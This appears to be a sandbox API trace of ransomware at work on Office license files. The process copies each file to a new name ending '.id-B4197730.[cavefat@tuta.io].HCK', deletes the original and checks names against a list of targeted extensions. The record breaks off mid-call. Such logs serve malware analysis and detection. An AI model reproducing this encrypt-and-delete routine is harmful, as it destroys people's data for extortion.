[0238.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1 [0238.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.839] lstrlenW (lpString=".doc") returned 4 [0238.839] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString=".docx") returned 5 [0238.839] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.839] lstrlenW (lpString=".pdf") returned 4 [0238.839] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString=".xls") returned 4 [0238.839] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString=".xlsx") returned 5 [0238.839] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.839] lstrlenW (lpString=".ppt") returned 4 [0238.839] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.839] lstrlenW (lpString=".zip") returned 4 [0238.839] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString=".rar") returned 4 [0238.839] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString=".bz2") returned 4 [0238.839] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString=".7z") returned 3 [0238.839] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.839] lstrlenW (lpString=".dbf") returned 4 [0238.839] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.839] lstrlenW (lpString=".1cd") returned 4 [0238.839] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.839] lstrlenW (lpString=".jpg") returned 4 [0238.839] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.840] lstrlenW (lpString=".doc") returned 4 [0238.840] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString=".docx") returned 5 [0238.840] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.840] lstrlenW (lpString=".pdf") returned 4 [0238.840] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString=".xls") returned 4 [0238.840] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString=".xlsx") returned 5 [0238.840] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.840] lstrlenW (lpString=".ppt") returned 4 [0238.840] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.840] lstrlenW (lpString=".zip") returned 4 [0238.840] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString=".rar") returned 4 [0238.840] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString=".bz2") returned 4 [0238.840] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString=".7z") returned 3 [0238.840] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.840] lstrlenW (lpString=".dbf") returned 4 [0238.840] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.840] lstrlenW (lpString=".1cd") returned 4 [0238.840] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0238.840] lstrlenW (lpString=".jpg") returned 4 [0238.840] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.840] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.840] lstrlenW (lpString="HomeBusinessR_Trial-pl.xrm-ms") returned 29 [0238.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.841] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11167) returned 1 [0238.841] CloseHandle (hObject=0x4d4) returned 1 [0238.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220 [0238.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.842] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.842] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.843] GetLastError () returned 0x0 [0238.843] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0238.845] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0238.845] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.845] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0238.846] SetEndOfFile (hFile=0x4ac) returned 1 [0238.846] CloseHandle (hObject=0x4ac) returned 1 [0238.846] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.846] SetEndOfFile (hFile=0x4d4) returned 1 [0238.848] CloseHandle (hObject=0x4d4) returned 1 [0238.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0238.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1 [0238.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.850] lstrlenW (lpString=".doc") returned 4 [0238.850] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString=".docx") returned 5 [0238.850] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.850] lstrlenW (lpString=".pdf") returned 4 [0238.850] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString=".xls") returned 4 [0238.850] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString=".xlsx") returned 5 [0238.850] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.850] lstrlenW (lpString=".ppt") returned 4 [0238.850] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.850] lstrlenW (lpString=".zip") returned 4 [0238.850] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString=".rar") returned 4 [0238.850] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString=".bz2") returned 4 [0238.850] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString=".7z") returned 3 [0238.850] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.850] lstrlenW (lpString=".dbf") returned 4 [0238.850] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.850] lstrlenW (lpString=".1cd") returned 4 [0238.850] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.851] lstrlenW (lpString=".jpg") returned 4 [0238.851] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.851] lstrlenW (lpString=".doc") returned 4 [0238.851] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString=".docx") returned 5 [0238.851] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0238.851] lstrlenW (lpString=".pdf") returned 4 [0238.851] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString=".xls") returned 4 [0238.851] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString=".xlsx") returned 5 [0238.851] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0238.851] lstrlenW (lpString=".ppt") returned 4 [0238.851] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.851] lstrlenW (lpString=".zip") returned 4 [0238.851] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString=".rar") returned 4 [0238.851] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString=".bz2") returned 4 [0238.851] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString=".7z") returned 3 [0238.851] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0238.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.851] lstrlenW (lpString=".dbf") returned 4 [0238.851] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.851] lstrlenW (lpString=".1cd") returned 4 [0238.851] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0238.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79 [0238.851] lstrlenW (lpString=".jpg") returned 4 [0238.851] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0238.852] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0238.852] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30 [0238.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.852] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=22214) returned 1 [0238.852] CloseHandle (hObject=0x4d4) returned 1 [0238.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0238.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0238.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0238.853] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.853] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0238.854] GetLastError () returned 0x0 [0238.854] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x56c6, lpOverlapped=0x0) returned 1 [0238.857] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0238.858] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0238.858] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x110, lpOverlapped=0x0) returned 1 [0238.858] SetEndOfFile (hFile=0x4ac) returned 1 [0238.858] CloseHandle (hObject=0x4ac) returned 1 [0238.858] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0238.858] SetEndOfFile (hFile=0x4d4) returned 1 [0239.066] CloseHandle (hObject=0x4d4) returned 1 [0239.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1 [0239.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.067] lstrlenW (lpString=".doc") returned 4 [0239.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.067] lstrlenW (lpString=".docx") returned 5 [0239.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.067] lstrlenW (lpString=".pdf") returned 4 [0239.067] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.067] lstrlenW (lpString=".xls") returned 4 [0239.067] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString=".xlsx") returned 5 [0239.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.068] lstrlenW (lpString=".ppt") returned 4 [0239.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.068] lstrlenW (lpString=".zip") returned 4 [0239.068] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString=".rar") returned 4 [0239.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString=".bz2") returned 4 [0239.068] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString=".7z") returned 3 [0239.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.068] lstrlenW (lpString=".dbf") returned 4 [0239.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.068] lstrlenW (lpString=".1cd") returned 4 [0239.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.068] lstrlenW (lpString=".jpg") returned 4 [0239.068] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.068] lstrlenW (lpString=".doc") returned 4 [0239.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString=".docx") returned 5 [0239.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.068] lstrlenW (lpString=".pdf") returned 4 [0239.068] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString=".xls") returned 4 [0239.068] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString=".xlsx") returned 5 [0239.068] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.068] lstrlenW (lpString=".ppt") returned 4 [0239.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.069] lstrlenW (lpString=".zip") returned 4 [0239.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.069] lstrlenW (lpString=".rar") returned 4 [0239.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.069] lstrlenW (lpString=".bz2") returned 4 [0239.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.069] lstrlenW (lpString=".7z") returned 3 [0239.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.069] lstrlenW (lpString=".dbf") returned 4 [0239.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.069] lstrlenW (lpString=".1cd") returned 4 [0239.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0239.069] lstrlenW (lpString=".jpg") returned 4 [0239.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.069] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.069] lstrlenW (lpString="HomeStudentR_Grace-ppd.xrm-ms") returned 29 [0239.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.070] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=21546) returned 1 [0239.070] CloseHandle (hObject=0x4d4) returned 1 [0239.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220 [0239.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0239.071] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.071] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0239.072] GetLastError () returned 0x0 [0239.072] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x542a, lpOverlapped=0x0) returned 1 [0239.074] WriteFile (in: hFile=0x564, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x5430, lpOverlapped=0x0) returned 1 [0239.075] ReadFile (in: hFile=0x4d4, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.075] WriteFile (in: hFile=0x564, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: 